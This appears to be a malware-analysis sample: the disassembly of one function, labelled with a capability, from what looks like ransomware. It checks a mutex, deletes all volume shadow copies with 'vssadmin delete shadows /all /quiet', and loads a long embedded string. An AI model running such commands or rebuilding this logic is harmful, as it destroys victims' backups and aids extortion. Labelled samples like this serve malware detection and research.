Function at 0x40d4c0
Capabilities:
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45fb99
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
mov eax, dword [0x4845c4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.dsajdhas.0
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x486268], eax
test eax, eax
jne 0x40da0d
push str.dsajdhas.0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x486268], eax
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x18], 0x100
push 0x486290
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x486294], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [ebp - 4], 0
push str.C:WindowsSysNative_vssadmin.exe_delete_shadows__all__quiet
call fcn.0043b4da
push str.C:WindowsSystem32_vssadmin.exe_delete_shadows__all__quiet
call fcn.0043b4da
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x34], 0x42415141
mov byte [ebp - 0x30], 0
mov dword [ebp - 4], 2
push 0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0041b410
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 3
cmp esi, 0x484218
je 0x40d618
mov ecx, 0x484218
call fcn.0040ece0
movups xmm0, xmmword [esi]
movups xmmword [0x484218], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x484228], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.0040ece0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x10
jb 0x40d667
inc ecx
mov edx, dword [ebp - 0x34]
mov eax, edx
cmp ecx, 0x1000
jb 0x40d65d
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40da32
jmp 0x40d65d
push ecx
push edx
call fcn.00435efa
add esp, 8
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
push 0x2b0
lea ecx, [ebp - 0x4c]
call fcn.0040f470
mov dword [ebp - 0x3c], 0x2ac
mov dword [ebp - 0x38], 0x2af
mov ecx, 0xab
mov esi, str.sQUTk6wJ_zWa5XvcPGtsbIu9Rfqx7nfHuGqGuNdMDRuFlpX2ScHG4kgI9E5E1qhYba5UteqYHa7iwLtJpH_0djzCF1yMeS3ks1D8UUhBVfdgfLKgEaMzm9rp1AzbWnLCaOdOqzfZqfkCiqaFjATj7OI6L6jStfyR2DDAbWVsuvcD6yxgjHi2CK0tIvbAJSGqP60w2QXqZ1B1THho45YDAQJDOjC8o0OnXZ26SjDCDpK17EQiaixk8EXoxz7rrSF6L5LDn8e2UctpSbSqM4iTBscVUdJcMZPVtgB4brynPHSw5KXRjYLA46C_tBAwUlaOyr8jjeNqlDDDS9jroFNVGo3O52S1l72j2pBQNxUItHPIbdZAYht9yvSe729OczgVtQla_CtjADRGyCKi0QgUpsH5CeJyjGHHwMimIJ_YWGschTLwPEBVBx1JezpqPeklRdLRSXj3l6W3Vge7OC4B_QgdxLAfsQwdzOqUINFZT7GEOMC0mdUB2yI669IzR89ANU2ZGzjirW95qjC_7XSAfP6Gx6mx_ZwSYwDsP9B9s_C8VmjzV_eZ0tKrV72Rdx_vFnK7FhivpgsqBDRP49J_i1dFudx1twVRkjufrMoiQrJ1PdiC7C6Bg5JvW1GgapPo2gOiBylcsvyaTZYu5hHKvF556d5d4lXZK0_TE
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [eax + 0x2ac], 0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 4], 4
push 0
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0041b410
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 5
cmp esi, 0x484200
je 0x40d72c
mov ecx, 0x484200
call fcn.0040ece0
movups xmm0, xmmword [esi]
movups xmmword [0x484200], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x484210], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x34]
call fcn.0040ece0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x40d773
inc ecx
mov edx, dword [ebp - 0x4c]
mov eax, edx
cmp ecx, 0x1000
jb 0x40d769
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40da37
push ecx
push edx
call fcn.00435efa
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
push 0x486278
call fcn.0041a2b0
mov eax, 0x484218
cmp dword [0x48422c], 0x10
cmovae eax, dword [0x484218]
push eax
push 0
push 0
push 1
push 1
push dword [0x484228]
push 0x486278
call fcn.0041a190
push 0x48626c
call fcn.0041a2b0
mov eax, 0x484200
cmp dword [0x484214], 0x10
cmovae eax, dword [0x484200]
push eax
push 0
push 0
push 1
push 1
push dword [0x484210]
push 0x48626c
call fcn.0041a190
add esp, 0x40
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x9c]
call fcn.00406150
mov byte [ebp - 4], 7
lea eax, [ebp - 0x34]
push eax
call fcn.0040d020
add esp, 4
mov byte [ebp - 4], 8
push eax
mov ecx, 0x4841e8
call fcn.004092e0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x34]
call fcn.0040ece0
push 0x4841e8
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00411bc0
mov byte [ebp - 4], 9
push eax
mov ecx, 0x484260
call fcn.00409320
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x34]
call fcn.0040ed60
lea eax, [ebp - 0x34]
push eax
call fcn.0040dbd0
add esp, 4
mov byte [ebp - 4], 0xa
push eax
mov ecx, 0x484290
call fcn.00409320
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x34]
call fcn.0040ed60
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xa0], esp
push 0x484290
call fcn.00405ce0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 7
call fcn.0040de50
lea eax, [ebp - 0x34]
push eax
call fcn.0040da80
add esp, 0x1c
mov byte [ebp - 4], 0xc
push eax
mov ecx, 0x4842a8
call fcn.00409320
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x34]
call fcn.0040ed60
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xa0], esp
push 0x4842a8
call fcn.00405ce0
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 7
call fcn.0040dd20
add esp, 0x18
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x9c]
call fcn.00408a00
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0xf
push str._bomb
lea ecx, [ebp - 0x34]
call fcn.00405ca0
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0xa0]
push eax
mov ecx, 0x4862dc
call fcn.00404470
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x34]
call fcn.0040ece0
mov eax, dword [0x4862e0]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa0], eax
je 0x40d9b8
push 0x40ac00
lea ecx, [ebp - 0xa8]
call fcn.00402490
mov byte [ebp - 4], 0x11
push eax
mov ecx, 0x486344
call fcn.00409410
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0xa4], 0
jne 0x40da3c
jmp 0x40d9b8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00436371
mov esp, ebp
pop ebp
ret
push 0x4043a0
push str.Mutex_detected
push 0x486688
call fcn.00402720
add esp, 8
mov ecx, eax
call fcn.00409450
push 0
call fcn.0043b361
call fcn.0043af1f
call fcn.0043af1f
call fcn.0043f659
int3